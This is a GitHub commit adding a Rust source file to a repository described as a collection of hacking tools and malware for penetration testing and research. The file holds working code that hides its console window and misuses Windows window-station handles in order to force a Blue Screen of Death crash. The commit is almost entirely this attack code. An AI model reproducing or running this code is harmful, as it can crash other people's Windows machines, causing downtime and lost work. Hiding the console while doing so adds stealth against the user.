Skip to content

This Repository is a collection of different ethical hacking tools and malware's for penetration testing and research purpose written in python, ruby, rust, c++, go and c.

Create CloseWindowStation.rs

Abdul Wahab Junaidfdb6be519057
diff --git a/Rust for Hacking/Blue screen of death/CloseWindowStation.rs b/Rust for Hacking/Blue screen of death/CloseWindowStation.rs
new file mode 100644
index 0000000..c43e911
--- /dev/null
+++ b/Rust for Hacking/Blue screen of death/CloseWindowStation.rs
@@ -0,0 +1,42 @@
+/*
+ Trigger BSOD Using CloseWindowStation()
+ @5mukx
+*/
+
+use std::ptr::null_mut;
+
+use winapi::{
+ ctypes::c_void,
+ shared::{
+ minwindef::HWINSTA,
+ windef::HWND},
+ um::{
+ handleapi::SetHandleInformation,
+ minwinbase::SECURITY_ATTRIBUTES,
+ winbase::HANDLE_FLAG_PROTECT_FROM_CLOSE,
+ wincon::GetConsoleWindow,
+ winuser::{CreateWindowStationA, ShowWindow, SW_HIDE}
+ }
+};
+
+fn main(){
+ unsafe{
+ let hwnd: HWND = GetConsoleWindow();
+ ShowWindow(hwnd, SW_HIDE);
+
+ let dwaddr: u32 = 0x80000000 | 0x40000000;
+
+ let hwinsta:HWINSTA = CreateWindowStationA(
+ "WindowStation\0".as_ptr() as *const i8,
+ 0,
+ dwaddr,
+ null_mut() as *mut SECURITY_ATTRIBUTES,
+ );
+
+ SetHandleInformation(
+ hwinsta as *mut c_void,
+ HANDLE_FLAG_PROTECT_FROM_CLOSE,
+ HANDLE_FLAG_PROTECT_FROM_CLOSE,
+ );
+ }
+}